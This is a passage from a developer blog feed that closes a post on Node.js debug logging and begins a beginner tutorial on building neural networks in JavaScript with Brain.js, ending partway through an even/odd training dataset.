&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;debugLog&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Starting complex operation...&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... complex code here ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;debugLog&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Complex operation completed.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;doSomethingComplex&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, this won’t output anything. But if you run your script with the &lt;code&gt;NODE_DEBUG&lt;/code&gt; environment variable set to &lt;code&gt;myapp&lt;/code&gt;, you’ll see the debug messages:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;NODE_DEBUG=myapp node script.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s like having a secret debug mode that you can activate whenever you need it!&lt;/p&gt;
&lt;h2 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h2&gt;
&lt;p&gt;So there you have it! We’ve covered colorful console output, command-line argument parsing, and conditional debugging - all without a single &lt;code&gt;npm install&lt;/code&gt;. By leveraging these core Node.js modules, we can create powerful, lightweight command-line apps that don’t need an entire &lt;code&gt;node_modules&lt;/code&gt; directory to function.&lt;/p&gt;
&lt;p&gt;Next time you start a new Node.js project, take a moment to explore what the core modules have to offer. You might be surprised at how far you can get without reaching for third-party packages. Who knows? You might just find yourself building dependency-free command-line apps powered by Node.js core modules more often than you think!&lt;/p&gt;</content:encoded></item><item><title>Getting started with Neural Networks in JavaScript</title><link>https://lirantal.com/blog/getting-started-neural-networks-in-javascript/</link><guid>https://lirantal.com/blog/getting-started-neural-networks-in-javascript/</guid><description>Practical and hands-on guide to getting started with Neural Networks in JavaScript using the Brain.js library to build a simple neural network to predict if a number is even or odd and more.</description><pubDate>Fri, 07 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Much of the tooling and educational content around machine learning is focused on Python and its ecosystem. Rightly so, to an extent, given that data scientists and machine learning engineers have been immersed with Python related tooling for a long time. However, as someone coming from the JavaScript ecosystem, I wanted to get started with machine learning using JavaScript.&lt;/p&gt;
&lt;p&gt;About 12 years ago, while at HPE Software, I underwent through a machine learning course which was super fun. We learned the basics and coded some exercises like KNN algorithm from scratch. It was a nice experience and at the time it wasn’t surprising that we got exposed to this as engineers at HPE Software. Back then, the buzzword was “Big Data” and HPE had dipped its toes into this space with products like Vertica and others.&lt;/p&gt;
&lt;p&gt;Fast forward to 2025 (well, technically, November 2022) and artificial intelligence, machine learning, and neural networks are everywhere.&lt;/p&gt;
&lt;p&gt;Can we bring this magic into JavaScript? A little library called &lt;code&gt;Brain.js&lt;/code&gt; makes it possible.&lt;/p&gt;
&lt;p&gt;In this post, I’ll just put the fundamentals that helped me get started so you can grab the basics too and get started playing with this.&lt;/p&gt;
&lt;h2 id=&quot;key-concepts-in-neural-networks&quot;&gt;Key Concepts in Neural Networks&lt;/h2&gt;
&lt;p&gt;Hardly is this going to be an expert or good enough coverage of key concepts in machine learning, so I highly recommend you perhaps start here but then go through other resources to get a deeper understanding.&lt;/p&gt;
&lt;p&gt;In a nutshell, the following are a few key concepts you’ll need to know in particular because they are part of the building blocks of the &lt;code&gt;Brain.js&lt;/code&gt; library so you will be interacting with these concepts directly.&lt;/p&gt;
&lt;h3 id=&quot;neurons-and-hidden-layers&quot;&gt;Neurons and Hidden Layers&lt;/h3&gt;
&lt;p&gt;A neuron is one of those fundamental building blocks of neural networks. The simplest and most reductive way to think of a neuron is that it represents a value. That’s really oversimplifying it and technically inaccurate too. To expand a bit more about it, think - how would that neuron get a value? If it gets a value, would it do something with it? This helps unveil the very basic idea of a neuron. A Neuron is a sort of computational unit that takes in some input, applies a mathematical function to it, which produces an output.&lt;/p&gt;
&lt;p&gt;If a neuron is the very basic building block, a node if so to say, then a layer is a collection of neurons. Many such layers then make up for what is the neural network. In a classic representation of a neural network you can divide it to three parts - the input layer, the hidden layers, and the output layer. Visually it would look something like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Input Layer:   0 0 0.9 0 0.4 0 0.2 0 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;             &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\ &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Hidden Layer:   0.1 0.3 0.5 0.2 0.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              / &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Output Layer    0.1 0.2 0.3 0.4 0.5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Hidden Layer part is where a lot of the “magic” happens. In simple terms you can think of it in a way that the more hidden layers you have, the more complex the neural network can be. The more “intelligence” or “room for understanding and learning” you can give to the neural network. Sometimes, if you try to train and test a neural network with not enough neurons or hidden layers, the network will simply be unable to learn. It’s like trying to program a calculator that adds numbers from 1 to 1 million but you only provide it with an integer size of 8 bits. It technically can’t do it.&lt;/p&gt;
&lt;h3 id=&quot;forward-and-backward-propagation&quot;&gt;Forward and Backward Propagation&lt;/h3&gt;
&lt;p&gt;Ok so, neurons hold values, layers hold neurons and the role of the neural network is to learn. How does it learn? This is where forward and backward propagation come in.&lt;/p&gt;
&lt;p&gt;Think of a person at a bowling night. They throw the ball and it needs to hit the pins. Perhaps the first throw is going to be off the mark and hit the side rails. What does the person do? They adjust their aim accordingly, perhaps pivot their hand a bit to the right, and throw again. This time they hit, but only 3 pins. They adjust again, maybe this time they also adjust the force of the throw. Did it help or did it make it worse?&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;   / \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    O&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;   / \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  /   \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /     \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;/       \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;       &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;       &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;       &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;       &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;       &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the learning process that we humans go through. A neural network follows this process through a method that it calls forward propagation and backward propagation. The forward propagation is the process of taking the input, passing it through the neural net, firing the neurons with some input, and getting an output. What was the output? did it match the expected output? If not, the neural network needs to adjust its weights. This is where the backward propagation comes in - it is the process of taking the output, comparing it to the expected output, and adjusting the weights of the neurons in the network.&lt;/p&gt;
&lt;h3 id=&quot;training-a-neural-network&quot;&gt;Training a Neural Network&lt;/h3&gt;
&lt;p&gt;The learning process of forward and backward propagation that we described above is repeated many times until the neural network is able to produce the expected output. This process is called training a neural network. The neural network is trained on a dataset that has input and output pairs. The neural network is trained to produce the output given the input. The more the neural network is trained, the better it gets at producing the expected output.&lt;/p&gt;
&lt;h2 id=&quot;getting-started-with-brainjs-for-neural-networks-in-javascript&quot;&gt;Getting started with Brain.js for Neural Networks in JavaScript&lt;/h2&gt;
&lt;p&gt;If you’re on a Linux machine you’ll likely need to install the following dependencies because the &lt;code&gt;Brain.js&lt;/code&gt; library uses native bindings:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;sudo apt-get update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;sudo apt-get install -y libgl1-mesa-dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;sudo apt-get install -y libxi-dev libx11-dev libxext-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For more detailed install instructions you can refer to the &lt;a href=&quot;https://github.com/BrainJS/brain.js?tab=readme-ov-file#installation-and-usage&quot;&gt;Brain.js GitHub repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next, make sure you have allowed npm installs to run scripts. This is because the &lt;code&gt;Brain.js&lt;/code&gt; library uses a script to compile the native bindings. You can do this by running:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm config &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ignore-scripts &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then you can continue with installing the &lt;code&gt;Brain.js&lt;/code&gt; library:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install brain.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;creating-a-neural-network-with-brainjs&quot;&gt;Creating a Neural Network with Brain.js&lt;/h2&gt;
&lt;p&gt;Many of the examples for Brain.js and neural networks show a simple example to predict the output of a XOR operation. Let’s try something different.&lt;/p&gt;
&lt;p&gt;Let’s train a neural network to learn to go beyond XOR with a simple, yet valuable, example using Brain.js: Predicting if a number is even or odd.&lt;/p&gt;
&lt;p&gt;What would be your input for the neural network? We’ll represent numbers through their binary representation. So, for example, the number 3 would be represented as &lt;code&gt;0011&lt;/code&gt; and the number 4 would be represented as &lt;code&gt;0100&lt;/code&gt;. So our input could be represented as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;trainingData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 0 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 1 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 2 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 3 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 4 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 5 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 6 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 7 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 8 (even)&lt;/span&gt;&lt;/span&gt;
